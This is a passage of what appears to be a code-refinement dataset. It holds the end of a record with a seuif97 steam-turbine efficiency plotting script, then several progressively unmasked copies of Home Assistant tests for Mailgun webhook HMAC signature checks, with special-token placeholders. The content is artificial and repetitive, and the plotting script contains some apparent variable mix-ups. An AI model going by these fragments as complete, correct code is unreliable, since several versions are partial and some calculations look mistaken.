"step-5": "# -*- coding: utf-8 -*-\n\"\"\"\nThis is a simple sample for seuif.py\n\nLicense: this code is in the public domain\n\nAuthor: Cheng Maohua\nEmail: [email protected]\n\nLast modified: 2016.4.20\n\n\"\"\"\nfrom seuif97 import *\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\np1,t1 = 16, 535\np2,t2 = 3.56,315\nh1 = pt2h(p1, t1)\ns1 = pt2s(p1, t1)\n\nh2 = pt2h(p2, t2)\ns2 = pt2s(p2, t2)\n\nh2s = ps2h(p2, s1)\nhis = ishd(p1, t1, p2)\n\nef = ief(p1, t1, p2, t2)\n\n# print('The isentropic efficiency is ',ef)\n\n# 4条线:p1、p2 等压,等熵焓降线、膨胀线\n\nsamp = 0.01\n\nsmp1 = s1 - samp\nhsmp1 = ps2h(p1, smp1)\nsap1 = s1 + samp\nhsap1 = ps2h(p1, sap1)\n\nsmt1 = s1 - samp\nhsmt1 = ps2h(p1, smp1)\nsat1 = s1 + samp\nhsat1 = ts2h(t1, sap1)\n\npoint_p1_h = np.zeros(shape=3)\npoint_p1_h[0] = hsmp1\npoint_p1_h[1] = h1\npoint_p1_h[2] = hsap1\npoint_p1_s = np.zeros(shape=3)\npoint_p1_s[0] = smp1\npoint_p1_s[1] = s1\npoint_p1_s[2] = sap1\n\n# p2\nsmp2 = s1 - samp # 等熵焓降点延伸\nhsmp2 = ps2h(p2, smp2)\nsap2 = s2 + samp\nhsap2 = ps2h(p2, sap2)\n\nsmt2 = s2 - samp\nhsmt2 = ps2h(p1, smp1)\nsat2 = s2 + samp\nhsat2 = ts2h(t2, sap1)\n\npoint_p2_h = np.zeros(shape=3)\npoint_p2_h[0] = hsmp2\npoint_p2_h[1] = h2\npoint_p2_h[2] = hsap2\n\npoint_p2_s = np.zeros(shape=3)\npoint_p2_s[0] = smp2\npoint_p2_s[1] = s2\npoint_p2_s[2] = sap2\n\n# 等熵焓降\npoint_is_h = np.zeros(shape=2)\npoint_is_h[0] = h1\npoint_is_h[1] = h2s\npoint_is_s = np.zeros(shape=2)\npoint_is_s[0] = s1\npoint_is_s[1] = s1\n\n# HP Expansion Line\npoint_hp_h = np.zeros(shape=2)\npoint_hp_h[0] = h1\npoint_hp_h[1] = h2\npoint_hp_s = np.zeros(shape=2)\npoint_hp_s[0] = s1\npoint_hp_s[1] = s2\n\nplt.plot(point_p1_s, point_p1_h, 'bs-')\n\nplt.plot(point_p2_s, point_p2_h, 'bs-')\nplt.plot(point_is_s, point_is_h, 'ys-')\nplt.plot(point_hp_s, point_hp_h, 'rs-', label='Expansion Line')\n\n_title = 'The isentropic efficiency = ' + \\\n r'$\\frac{h1-h2}{h1-h2s}$' + '=' + '{:.2f}'.format(ef) + '%'\n\nplt.legend(loc=\"best\", bbox_to_anchor=[0.5, 0.5],\n ncol=2, shadow=True, title=_title)\n\n# annotate some interesting points\nplt.annotate('(P1,T1)',\n xy=(s1, h1), xycoords='data',\n xytext=(+10, +30), textcoords='offset points', fontsize=12,\n arrowprops=dict(arrowstyle=\"->\", connectionstyle=\"arc3,rad=.2\"))\n\nplt.annotate('(P2,T2)',\n xy=(s2, h2), xycoords='data',\n xytext=(+10, +30), textcoords='offset points', fontsize=12,\n arrowprops=dict(arrowstyle=\"->\", connectionstyle=\"arc3,rad=.2\"))\n\nplt.xlabel('s(kJ/(kg.K))')\nplt.ylabel('h(kJ/kg)')\nplt.show()\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
@pytest.fixture
async def http_client(hass, hass_client_no_auth):
"""Initialize a Home Assistant Server for testing this module."""
await async_setup_component(hass, webhook.DOMAIN, {})
return await hass_client_no_auth()
@pytest.fixture
async def webhook_id_with_api_key(hass):
"""Initialize the Mailgun component and get the webhook_id."""
await async_setup_component(hass, mailgun.DOMAIN, {mailgun.DOMAIN: {
CONF_API_KEY: API_KEY, CONF_DOMAIN: 'example.com'}})
await async_process_ha_core_config(hass, {'internal_url':
'http://example.local:8123'})
result = await hass.config_entries.flow.async_init('mailgun', context={
'source': config_entries.SOURCE_USER})
assert result['type'] == data_entry_flow.FlowResultType.FORM, result
result = await hass.config_entries.flow.async_configure(result[
'flow_id'], {})
assert result['type'] == data_entry_flow.FlowResultType.CREATE_ENTRY
return result['result'].data['webhook_id']
@pytest.fixture
async def webhook_id_without_api_key(hass):
"""Initialize the Mailgun component and get the webhook_id w/o API key."""
await async_setup_component(hass, mailgun.DOMAIN, {})
await async_process_ha_core_config(hass, {'internal_url':
'http://example.local:8123'})
result = await hass.config_entries.flow.async_init('mailgun', context={
'source': config_entries.SOURCE_USER})
assert result['type'] == data_entry_flow.FlowResultType.FORM, result
result = await hass.config_entries.flow.async_configure(result[
'flow_id'], {})
assert result['type'] == data_entry_flow.FlowResultType.CREATE_ENTRY
return result['result'].data['webhook_id']
@pytest.fixture
async def mailgun_events(hass):
"""Return a list of mailgun_events triggered."""
events = []
@callback
def handle_event(event):
"""Handle Mailgun event."""
events.append(event)
hass.bus.async_listen(mailgun.MESSAGE_RECEIVED, handle_event)
return events
async def test_mailgun_webhook_with_missing_signature(http_client,
webhook_id_with_api_key, mailgun_events) ->None:
"""Test that webhook doesn't trigger an event without a signature."""
event_count = len(mailgun_events)
await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=
{'hello': 'mailgun', 'signature': {}})
assert len(mailgun_events) == event_count
await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=
{'hello': 'mailgun'})
assert len(mailgun_events) == event_count
async def test_mailgun_webhook_with_different_api_key(http_client,
webhook_id_with_api_key, mailgun_events) ->None:
"""Test that webhook doesn't trigger an event with a wrong signature."""
timestamp = '1529006854'
token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'
event_count = len(mailgun_events)
await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=
{'hello': 'mailgun', 'signature': {'signature': hmac.new(key=
b'random_api_key', msg=bytes(f'{timestamp}{token}', 'utf-8'),
digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,
'token': token}})
assert len(mailgun_events) == event_count
async def test_mailgun_webhook_event_with_correct_api_key(http_client,
webhook_id_with_api_key, mailgun_events) ->None:
"""Test that webhook triggers an event after validating a signature."""
timestamp = '1529006854'
token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'
event_count = len(mailgun_events)
await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=
{'hello': 'mailgun', 'signature': {'signature': hmac.new(key=bytes(
API_KEY, 'utf-8'), msg=bytes(f'{timestamp}{token}', 'utf-8'),
digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,
'token': token}})
assert len(mailgun_events) == event_count + 1
assert mailgun_events[-1].data['webhook_id'] == webhook_id_with_api_key
assert mailgun_events[-1].data['hello'] == 'mailgun'
async def test_mailgun_webhook_with_missing_signature_without_api_key(
http_client, webhook_id_without_api_key, mailgun_events) ->None:
"""Test that webhook triggers an event without a signature w/o API key."""
event_count = len(mailgun_events)
await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',
json={'hello': 'mailgun', 'signature': {}})
assert len(mailgun_events) == event_count + 1
assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key
assert mailgun_events[-1].data['hello'] == 'mailgun'
await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',
json={'hello': 'mailgun'})
assert len(mailgun_events) == event_count + 1
assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key
assert mailgun_events[-1].data['hello'] == 'mailgun'
async def test_mailgun_webhook_event_without_an_api_key(http_client,
webhook_id_without_api_key, mailgun_events) ->None:
"""Test that webhook triggers an event if there is no api key."""
timestamp = '1529006854'
token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'
event_count = len(mailgun_events)
await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',
json={'hello': 'mailgun', 'signature': {'signature': hmac.new(key=
bytes(API_KEY, 'utf-8'), msg=bytes(f'{timestamp}{token}', 'utf-8'),
digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,
'token': token}})
assert len(mailgun_events) == event_count + 1
assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key
assert mailgun_events[-1].data['hello'] == 'mailgun'
<|reserved_special_token_1|>
<|reserved_special_token_0|>
API_KEY = 'abc123'
@pytest.fixture
async def http_client(hass, hass_client_no_auth):
"""Initialize a Home Assistant Server for testing this module."""
await async_setup_component(hass, webhook.DOMAIN, {})
return await hass_client_no_auth()
@pytest.fixture
async def webhook_id_with_api_key(hass):
"""Initialize the Mailgun component and get the webhook_id."""
await async_setup_component(hass, mailgun.DOMAIN, {mailgun.DOMAIN: {
CONF_API_KEY: API_KEY, CONF_DOMAIN: 'example.com'}})
await async_process_ha_core_config(hass, {'internal_url':
'http://example.local:8123'})
result = await hass.config_entries.flow.async_init('mailgun', context={
'source': config_entries.SOURCE_USER})
assert result['type'] == data_entry_flow.FlowResultType.FORM, result
result = await hass.config_entries.flow.async_configure(result[
'flow_id'], {})
assert result['type'] == data_entry_flow.FlowResultType.CREATE_ENTRY
return result['result'].data['webhook_id']
@pytest.fixture
async def webhook_id_without_api_key(hass):
"""Initialize the Mailgun component and get the webhook_id w/o API key."""
await async_setup_component(hass, mailgun.DOMAIN, {})
await async_process_ha_core_config(hass, {'internal_url':
'http://example.local:8123'})
result = await hass.config_entries.flow.async_init('mailgun', context={
'source': config_entries.SOURCE_USER})
assert result['type'] == data_entry_flow.FlowResultType.FORM, result
result = await hass.config_entries.flow.async_configure(result[
'flow_id'], {})
assert result['type'] == data_entry_flow.FlowResultType.CREATE_ENTRY
return result['result'].data['webhook_id']
@pytest.fixture
async def mailgun_events(hass):
"""Return a list of mailgun_events triggered."""
events = []
@callback
def handle_event(event):
"""Handle Mailgun event."""
events.append(event)
hass.bus.async_listen(mailgun.MESSAGE_RECEIVED, handle_event)
return events
async def test_mailgun_webhook_with_missing_signature(http_client,
webhook_id_with_api_key, mailgun_events) ->None:
"""Test that webhook doesn't trigger an event without a signature."""
event_count = len(mailgun_events)
await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=
{'hello': 'mailgun', 'signature': {}})
assert len(mailgun_events) == event_count
await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=
{'hello': 'mailgun'})
assert len(mailgun_events) == event_count
async def test_mailgun_webhook_with_different_api_key(http_client,
webhook_id_with_api_key, mailgun_events) ->None:
"""Test that webhook doesn't trigger an event with a wrong signature."""
timestamp = '1529006854'
token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'
event_count = len(mailgun_events)
await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=
{'hello': 'mailgun', 'signature': {'signature': hmac.new(key=
b'random_api_key', msg=bytes(f'{timestamp}{token}', 'utf-8'),
digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,
'token': token}})
assert len(mailgun_events) == event_count
async def test_mailgun_webhook_event_with_correct_api_key(http_client,
webhook_id_with_api_key, mailgun_events) ->None:
"""Test that webhook triggers an event after validating a signature."""
timestamp = '1529006854'
token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'
event_count = len(mailgun_events)
await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=
{'hello': 'mailgun', 'signature': {'signature': hmac.new(key=bytes(
API_KEY, 'utf-8'), msg=bytes(f'{timestamp}{token}', 'utf-8'),
digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,
'token': token}})
assert len(mailgun_events) == event_count + 1
assert mailgun_events[-1].data['webhook_id'] == webhook_id_with_api_key
assert mailgun_events[-1].data['hello'] == 'mailgun'
async def test_mailgun_webhook_with_missing_signature_without_api_key(
http_client, webhook_id_without_api_key, mailgun_events) ->None:
"""Test that webhook triggers an event without a signature w/o API key."""
event_count = len(mailgun_events)
await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',
json={'hello': 'mailgun', 'signature': {}})
assert len(mailgun_events) == event_count + 1
assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key
assert mailgun_events[-1].data['hello'] == 'mailgun'
await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',
json={'hello': 'mailgun'})
assert len(mailgun_events) == event_count + 1
assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key
assert mailgun_events[-1].data['hello'] == 'mailgun'
async def test_mailgun_webhook_event_without_an_api_key(http_client,
webhook_id_without_api_key, mailgun_events) ->None:
"""Test that webhook triggers an event if there is no api key."""
timestamp = '1529006854'
token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'
event_count = len(mailgun_events)
await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',
json={'hello': 'mailgun', 'signature': {'signature': hmac.new(key=
bytes(API_KEY, 'utf-8'), msg=bytes(f'{timestamp}{token}', 'utf-8'),
digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,
'token': token}})
assert len(mailgun_events) == event_count + 1
assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key
assert mailgun_events[-1].data['hello'] == 'mailgun'
<|reserved_special_token_1|>
<|reserved_special_token_0|>
import hashlib
import hmac
import pytest
from homeassistant import config_entries, data_entry_flow
from homeassistant.components import mailgun, webhook
from homeassistant.config import async_process_ha_core_config
from homeassistant.const import CONF_API_KEY, CONF_DOMAIN
from homeassistant.core import callback
from homeassistant.setup import async_setup_component
API_KEY = 'abc123'
@pytest.fixture
async def http_client(hass, hass_client_no_auth):
"""Initialize a Home Assistant Server for testing this module."""
await async_setup_component(hass, webhook.DOMAIN, {})
return await hass_client_no_auth()
@pytest.fixture
async def webhook_id_with_api_key(hass):
"""Initialize the Mailgun component and get the webhook_id."""
await async_setup_component(hass, mailgun.DOMAIN, {mailgun.DOMAIN: {
CONF_API_KEY: API_KEY, CONF_DOMAIN: 'example.com'}})
await async_process_ha_core_config(hass, {'internal_url':
'http://example.local:8123'})
result = await hass.config_entries.flow.async_init('mailgun', context={
'source': config_entries.SOURCE_USER})
assert result['type'] == data_entry_flow.FlowResultType.FORM, result
result = await hass.config_entries.flow.async_configure(result[
'flow_id'], {})
assert result['type'] == data_entry_flow.FlowResultType.CREATE_ENTRY
return result['result'].data['webhook_id']
@pytest.fixture
async def webhook_id_without_api_key(hass):
"""Initialize the Mailgun component and get the webhook_id w/o API key."""
await async_setup_component(hass, mailgun.DOMAIN, {})
await async_process_ha_core_config(hass, {'internal_url':
'http://example.local:8123'})
result = await hass.config_entries.flow.async_init('mailgun', context={
'source': config_entries.SOURCE_USER})
assert result['type'] == data_entry_flow.FlowResultType.FORM, result
result = await hass.config_entries.flow.async_configure(result[
'flow_id'], {})
assert result['type'] == data_entry_flow.FlowResultType.CREATE_ENTRY
return result['result'].data['webhook_id']
@pytest.fixture
async def mailgun_events(hass):
"""Return a list of mailgun_events triggered."""
events = []
@callback
def handle_event(event):
"""Handle Mailgun event."""
events.append(event)
hass.bus.async_listen(mailgun.MESSAGE_RECEIVED, handle_event)
return events
async def test_mailgun_webhook_with_missing_signature(http_client,
webhook_id_with_api_key, mailgun_events) ->None:
"""Test that webhook doesn't trigger an event without a signature."""
event_count = len(mailgun_events)
await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=
{'hello': 'mailgun', 'signature': {}})
assert len(mailgun_events) == event_count
await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=
{'hello': 'mailgun'})
assert len(mailgun_events) == event_count
async def test_mailgun_webhook_with_different_api_key(http_client,
webhook_id_with_api_key, mailgun_events) ->None:
"""Test that webhook doesn't trigger an event with a wrong signature."""
timestamp = '1529006854'
token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'
event_count = len(mailgun_events)
await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=
{'hello': 'mailgun', 'signature': {'signature': hmac.new(key=
b'random_api_key', msg=bytes(f'{timestamp}{token}', 'utf-8'),
digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,
'token': token}})
assert len(mailgun_events) == event_count
async def test_mailgun_webhook_event_with_correct_api_key(http_client,
webhook_id_with_api_key, mailgun_events) ->None:
"""Test that webhook triggers an event after validating a signature."""
timestamp = '1529006854'
token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'
event_count = len(mailgun_events)
await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=
{'hello': 'mailgun', 'signature': {'signature': hmac.new(key=bytes(
API_KEY, 'utf-8'), msg=bytes(f'{timestamp}{token}', 'utf-8'),
digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,
'token': token}})
assert len(mailgun_events) == event_count + 1
assert mailgun_events[-1].data['webhook_id'] == webhook_id_with_api_key
assert mailgun_events[-1].data['hello'] == 'mailgun'
async def test_mailgun_webhook_with_missing_signature_without_api_key(
http_client, webhook_id_without_api_key, mailgun_events) ->None:
"""Test that webhook triggers an event without a signature w/o API key."""
event_count = len(mailgun_events)
await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',
json={'hello': 'mailgun', 'signature': {}})
assert len(mailgun_events) == event_count + 1
assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key
assert mailgun_events[-1].data['hello'] == 'mailgun'
await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',
json={'hello': 'mailgun'})
assert len(mailgun_events) == event_count + 1
assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key
assert mailgun_events[-1].data['hello'] == 'mailgun'
async def test_mailgun_webhook_event_without_an_api_key(http_client,
webhook_id_without_api_key, mailgun_events) ->None:
"""Test that webhook triggers an event if there is no api key."""
timestamp = '1529006854'
token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'
event_count = len(mailgun_events)
await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',
json={'hello': 'mailgun', 'signature': {'signature': hmac.new(key=
bytes(API_KEY, 'utf-8'), msg=bytes(f'{timestamp}{token}', 'utf-8'),
digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,
'token': token}})
assert len(mailgun_events) == event_count + 1
assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key
assert mailgun_events[-1].data['hello'] == 'mailgun'
<|reserved_special_token_1|>
"""Test the init file of Mailgun."""
import hashlib
import hmac
import pytest
from homeassistant import config_entries, data_entry_flow
from homeassistant.components import mailgun, webhook
from homeassistant.config import async_process_ha_core_config
from homeassistant.const import CONF_API_KEY, CONF_DOMAIN
from homeassistant.core import callback
from homeassistant.setup import async_setup_component
API_KEY = "abc123"
@pytest.fixture
async def http_client(hass, hass_client_no_auth):
"""Initialize a Home Assistant Server for testing this module."""
await async_setup_component(hass, webhook.DOMAIN, {})
return await hass_client_no_auth()
@pytest.fixture
async def webhook_id_with_api_key(hass):
"""Initialize the Mailgun component and get the webhook_id."""
await async_setup_component(
hass,
mailgun.DOMAIN,
{mailgun.DOMAIN: {CONF_API_KEY: API_KEY, CONF_DOMAIN: "example.com"}},
)
await async_process_ha_core_config(
hass,
{"internal_url": "http://example.local:8123"},
)
result = await hass.config_entries.flow.async_init(
"mailgun", context={"source": config_entries.SOURCE_USER}
)
assert result["type"] == data_entry_flow.FlowResultType.FORM, result
result = await hass.config_entries.flow.async_configure(result["flow_id"], {})
assert result["type"] == data_entry_flow.FlowResultType.CREATE_ENTRY
return result["result"].data["webhook_id"]
@pytest.fixture
async def webhook_id_without_api_key(hass):
"""Initialize the Mailgun component and get the webhook_id w/o API key."""
await async_setup_component(hass, mailgun.DOMAIN, {})
await async_process_ha_core_config(
hass,
{"internal_url": "http://example.local:8123"},
)
result = await hass.config_entries.flow.async_init(
"mailgun", context={"source": config_entries.SOURCE_USER}
)
assert result["type"] == data_entry_flow.FlowResultType.FORM, result
result = await hass.config_entries.flow.async_configure(result["flow_id"], {})
assert result["type"] == data_entry_flow.FlowResultType.CREATE_ENTRY
return result["result"].data["webhook_id"]
@pytest.fixture
async def mailgun_events(hass):
"""Return a list of mailgun_events triggered."""
events = []
@callback
def handle_event(event):
"""Handle Mailgun event."""
events.append(event)
hass.bus.async_listen(mailgun.MESSAGE_RECEIVED, handle_event)
return events
async def test_mailgun_webhook_with_missing_signature(
http_client, webhook_id_with_api_key, mailgun_events
) -> None:
"""Test that webhook doesn't trigger an event without a signature."""
event_count = len(mailgun_events)
await http_client.post(
f"/api/webhook/{webhook_id_with_api_key}",
json={"hello": "mailgun", "signature": {}},
)
assert len(mailgun_events) == event_count
await http_client.post(
f"/api/webhook/{webhook_id_with_api_key}", json={"hello": "mailgun"}
)
assert len(mailgun_events) == event_count
async def test_mailgun_webhook_with_different_api_key(
http_client, webhook_id_with_api_key, mailgun_events
) -> None:
"""Test that webhook doesn't trigger an event with a wrong signature."""
timestamp = "1529006854"
token = "a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0"
event_count = len(mailgun_events)
await http_client.post(
f"/api/webhook/{webhook_id_with_api_key}",
json={
"hello": "mailgun",
"signature": {
"signature": hmac.new(
key=b"random_api_key",
msg=bytes(f"{timestamp}{token}", "utf-8"),
digestmod=hashlib.sha256,
).hexdigest(),
"timestamp": timestamp,
"token": token,
},
},
)
assert len(mailgun_events) == event_count
async def test_mailgun_webhook_event_with_correct_api_key(
http_client, webhook_id_with_api_key, mailgun_events
) -> None:
"""Test that webhook triggers an event after validating a signature."""
timestamp = "1529006854"
token = "a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0"
event_count = len(mailgun_events)
await http_client.post(
f"/api/webhook/{webhook_id_with_api_key}",
json={
"hello": "mailgun",
"signature": {
"signature": hmac.new(
key=bytes(API_KEY, "utf-8"),
msg=bytes(f"{timestamp}{token}", "utf-8"),
digestmod=hashlib.sha256,
).hexdigest(),
"timestamp": timestamp,
"token": token,
},
},
)
assert len(mailgun_events) == event_count + 1
assert mailgun_events[-1].data["webhook_id"] == webhook_id_with_api_key
assert mailgun_events[-1].data["hello"] == "mailgun"
async def test_mailgun_webhook_with_missing_signature_without_api_key(
http_client, webhook_id_without_api_key, mailgun_events
) -> None:
"""Test that webhook triggers an event without a signature w/o API key."""
event_count = len(mailgun_events)
await http_client.post(
f"/api/webhook/{webhook_id_without_api_key}",
json={"hello": "mailgun", "signature": {}},
)
assert len(mailgun_events) == event_count + 1
assert mailgun_events[-1].data["webhook_id"] == webhook_id_without_api_key
assert mailgun_events[-1].data["hello"] == "mailgun"
await http_client.post(
f"/api/webhook/{webhook_id_without_api_key}", json={"hello": "mailgun"}
)
assert len(mailgun_events) == event_count + 1
assert mailgun_events[-1].data["webhook_id"] == webhook_id_without_api_key
assert mailgun_events[-1].data["hello"] == "mailgun"
async def test_mailgun_webhook_event_without_an_api_key(
http_client, webhook_id_without_api_key, mailgun_events
) -> None:
"""Test that webhook triggers an event if there is no api key."""
timestamp = "1529006854"
token = "a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0"
event_count = len(mailgun_events)
await http_client.post(
f"/api/webhook/{webhook_id_without_api_key}",
json={
"hello": "mailgun",
"signature": {
"signature": hmac.new(
key=bytes(API_KEY, "utf-8"),
msg=bytes(f"{timestamp}{token}", "utf-8"),
digestmod=hashlib.sha256,
).hexdigest(),
"timestamp": timestamp,
"token": token,
},
},
)
assert len(mailgun_events) == event_count + 1
assert mailgun_events[-1].data["webhook_id"] == webhook_id_without_api_key
assert mailgun_events[-1].data["hello"] == "mailgun"
|
flexible
|
{
"blob_id": "a55024f0e5edec22125ce53ef54ee364be185cb8",
"index": 1099,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\[email protected]\nasync def http_client(hass, hass_client_no_auth):\n \"\"\"Initialize a Home Assistant Server for testing this module.\"\"\"\n await async_setup_component(hass, webhook.DOMAIN, {})\n return await hass_client_no_auth()\n\n\[email protected]\nasync def webhook_id_with_api_key(hass):\n \"\"\"Initialize the Mailgun component and get the webhook_id.\"\"\"\n await async_setup_component(hass, mailgun.DOMAIN, {mailgun.DOMAIN: {\n CONF_API_KEY: API_KEY, CONF_DOMAIN: 'example.com'}})\n await async_process_ha_core_config(hass, {'internal_url':\n 'http://example.local:8123'})\n result = await hass.config_entries.flow.async_init('mailgun', context={\n 'source': config_entries.SOURCE_USER})\n assert result['type'] == data_entry_flow.FlowResultType.FORM, result\n result = await hass.config_entries.flow.async_configure(result[\n 'flow_id'], {})\n assert result['type'] == data_entry_flow.FlowResultType.CREATE_ENTRY\n return result['result'].data['webhook_id']\n\n\[email protected]\nasync def webhook_id_without_api_key(hass):\n \"\"\"Initialize the Mailgun component and get the webhook_id w/o API key.\"\"\"\n await async_setup_component(hass, mailgun.DOMAIN, {})\n await async_process_ha_core_config(hass, {'internal_url':\n 'http://example.local:8123'})\n result = await hass.config_entries.flow.async_init('mailgun', context={\n 'source': config_entries.SOURCE_USER})\n assert result['type'] == data_entry_flow.FlowResultType.FORM, result\n result = await hass.config_entries.flow.async_configure(result[\n 'flow_id'], {})\n assert result['type'] == data_entry_flow.FlowResultType.CREATE_ENTRY\n return result['result'].data['webhook_id']\n\n\[email protected]\nasync def mailgun_events(hass):\n \"\"\"Return a list of mailgun_events triggered.\"\"\"\n events = []\n\n @callback\n def handle_event(event):\n \"\"\"Handle Mailgun event.\"\"\"\n events.append(event)\n hass.bus.async_listen(mailgun.MESSAGE_RECEIVED, handle_event)\n return events\n\n\nasync def test_mailgun_webhook_with_missing_signature(http_client,\n webhook_id_with_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook doesn't trigger an event without a signature.\"\"\"\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=\n {'hello': 'mailgun', 'signature': {}})\n assert len(mailgun_events) == event_count\n await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=\n {'hello': 'mailgun'})\n assert len(mailgun_events) == event_count\n\n\nasync def test_mailgun_webhook_with_different_api_key(http_client,\n webhook_id_with_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook doesn't trigger an event with a wrong signature.\"\"\"\n timestamp = '1529006854'\n token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=\n {'hello': 'mailgun', 'signature': {'signature': hmac.new(key=\n b'random_api_key', msg=bytes(f'{timestamp}{token}', 'utf-8'),\n digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,\n 'token': token}})\n assert len(mailgun_events) == event_count\n\n\nasync def test_mailgun_webhook_event_with_correct_api_key(http_client,\n webhook_id_with_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook triggers an event after validating a signature.\"\"\"\n timestamp = '1529006854'\n token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=\n {'hello': 'mailgun', 'signature': {'signature': hmac.new(key=bytes(\n API_KEY, 'utf-8'), msg=bytes(f'{timestamp}{token}', 'utf-8'),\n digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,\n 'token': token}})\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data['webhook_id'] == webhook_id_with_api_key\n assert mailgun_events[-1].data['hello'] == 'mailgun'\n\n\nasync def test_mailgun_webhook_with_missing_signature_without_api_key(\n http_client, webhook_id_without_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook triggers an event without a signature w/o API key.\"\"\"\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',\n json={'hello': 'mailgun', 'signature': {}})\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key\n assert mailgun_events[-1].data['hello'] == 'mailgun'\n await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',\n json={'hello': 'mailgun'})\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key\n assert mailgun_events[-1].data['hello'] == 'mailgun'\n\n\nasync def test_mailgun_webhook_event_without_an_api_key(http_client,\n webhook_id_without_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook triggers an event if there is no api key.\"\"\"\n timestamp = '1529006854'\n token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',\n json={'hello': 'mailgun', 'signature': {'signature': hmac.new(key=\n bytes(API_KEY, 'utf-8'), msg=bytes(f'{timestamp}{token}', 'utf-8'),\n digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,\n 'token': token}})\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key\n assert mailgun_events[-1].data['hello'] == 'mailgun'\n",
